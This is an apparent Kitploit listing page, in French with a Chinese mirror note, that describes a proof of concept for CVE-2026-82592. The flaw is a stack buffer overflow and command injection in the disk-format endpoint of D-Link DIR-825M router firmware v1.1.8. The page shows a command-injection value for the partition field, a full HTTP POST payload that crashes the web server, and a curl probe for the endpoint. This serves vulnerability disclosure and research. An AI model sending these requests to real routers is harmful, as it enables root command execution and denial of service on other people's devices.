Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-82592 — Preuve de concept d'exploitation pour le débordement de tampon de pile et l'injection de commandes dans /boafrm/formDiskFormat sur le D-Link DIR-825M, permettant l'exécution de code à distance en tant que root sur le firmware v1.1.8. | Kitploit
Outils/GitHubGitHub/hackspeak/cve-2026-82592
Sécurité IoTAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité Matériel et IoTExploitation de Binaires
GitHubhackspeak/cve-2026-82592

CVE-2026-82592

Preuve de concept d'exploitation pour le débordement de tampon de pile et l'injection de commandes dans /boafrm/formDiskFormat sur le D-Link DIR-825M, permettant l'exécution de code à distance en tant que root sur le firmware v1.1.8.

Voir le dépôt
1il y a 12h 32mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Routeur D-Link DIR-825M - Débordement de tampon dans /boafrm/formDiskFormat

Détails de la vulnérabilité

Informations détaillées

ChampValeur
FournisseurD-Link
ProduitD-Link DIR-825M (et autres modèles partageant la même base de code firmware)
Version affectéeFirmware v1.1.8
Type de vulnérabilitéDébordement de tampon basé sur la pile (CWE-121)、Injection de commandes (CWE-78)
Page d'accueil du fournisseurhttps://www.dlink.com/

Description de la vulnérabilité

Lors d'un examen de sécurité du firmware du routeur, une vulnérabilité critique a été identifiée dans le point d'accès /boafrm/formDiskFormat.

La vulnérabilité se situe dans la fonction sub_46725C, qui gère le formatage des partitions. La fonction récupère le paramètre partition contrôlé par l'utilisateur depuis la requête HTTP POST. Sans aucune assainissement préalable, vérification ou contrôle de longueur sur ce paramètre, le programme effectue plusieurs opérations non sécurisées :

  1. Il utilise sprintf pour formater le paramètre dans un petit tampon de pile local v9 (alloué avec seulement 132 octets).
  2. Il transmet directement les chaînes de commandes construites à system() pour exécuter des utilitaires système.

Un attaquant peut exploiter cela en injectant des métacaractères shell (tels que ;, & ou |) dans le paramètre partition pour exécuter des commandes système arbitraires avec les privilèges root, ou en envoyant une chaîne surdimensionnée pour provoquer un débordement de tampon de pile et détourner le flux de contrôle.

  • Emplacement de la vulnérabilité : /boafrm/formDiskFormat (ou point d'accès similaire de gestion du formatage de disque)
  • Fonction vulnérable : sub_46725C

Cause racine

La vulnérabilité provient de deux défauts de programmation concomitants : formatage de chaîne non sécurisé et exécution directe d'entrées non validées dans un shell système.

image0

1. Injection de commandes (CWE-78)

Dans sub_46725C, le paramètre partition est récupéré et stocké dans v2 :

root@kitploit:~
v2 = (const char *)sub_41351C(a1, "partition", "");

Si le paramètre n'est pas vide, le programme construit immédiatement une commande de démontage et l'exécute :

root@kitploit:~
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);

Étant donné que v2 est directement intégré dans la chaîne de commande sans assainir les caractères comme ;, une entrée de sda1;+sleep+5; sera exécutée comme :

root@kitploit:~
umount /dev/sda1; sleep 5; >/dev/null 2>&1

Cela déclenche directement l'exécution de commandes shell arbitraires.

2. Débordement de tampon basé sur la pile (CWE-121)

Le tampon local v9 est déclaré sur la pile avec une taille limitée :

root@kitploit:~
char v9[132];

Le programme utilise sprintf pour copier l'entrée utilisateur dans v9 :

root@kitploit:~
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);

Parce que sprintf n'effectue pas de contrôle des limites, un paramètre partition plus long qu'environ 90 octets écrira au-delà de la limite de v9, écrasant la trame de pile, y compris le pointeur de trame sauvegardé et l'adresse de retour ($ra sur MIPS/ARM).

Impact

Un attaquant peut exploiter cette vulnérabilité pour obtenir les résultats suivants :

  • Exécution de commandes arbitraires : Exécuter des commandes shell arbitraires sur le routeur avec les privilèges les plus élevés (root).
  • Déni de service (DoS) : Écraser la pile ou corrompre la mémoire pour faire planter le démon du serveur Web, rendant le panneau de gestion du routeur complètement inaccessible.

Preuve de concept (PoC)

En fournissant un paramètre partition surdimensionné, la pile sera corrompue, entraînant une erreur de segmentation et faisant planter le démon du serveur Web.

root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive

partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

Captures d'écran de la reproduction locale

  • Configuration de l'environnement avec firmae et exécution du PoC via Burp Repeater

image1

  • Résultat :

image2


分发镜像说明(中文)

本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。

漏洞简述 / Vulnerability Summary

  • CVE-2026-82592 / D-Link DIR-825M(共享同一固件代码库的型号需一并排查)
  • 受影响版本:固件 v1.1.8
  • 类型:栈缓冲区溢出(CWE-121)+ 命令注入(CWE-78)→ 远程代码执行(RCE)
  • CVSS 3.1:9.9(Critical);CVSS 4.0:8.6(High)
  • 攻击面:Web 管理端磁盘格式化接口 POST /boafrm/formDiskFormat
  • 触发方式:向 partition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)
  • 利用结果:以 root 权限执行任意命令 / 使 Web 服务崩溃(DoS)
  • 修复状态:披露时厂商未公布补丁,请关注 D-Link 官方固件更新

核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。

环境与用法 / Requirements & Usage

  • 复现环境:FirmaE 固件仿真 + Burp Repeater(公开的是崩溃触发载荷,非完整 EXP)
  • 接口存在性检测:
root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
  • 复现请求(关键部分):
root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded

partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告作者:Robots10(公开 IoT 漏洞仓库 IoT_vlu,reports/Dlink/formDiskFormat/)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-82592
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-82592
  • D-Link 官网:https://www.dlink.com/
Télécharger l’outil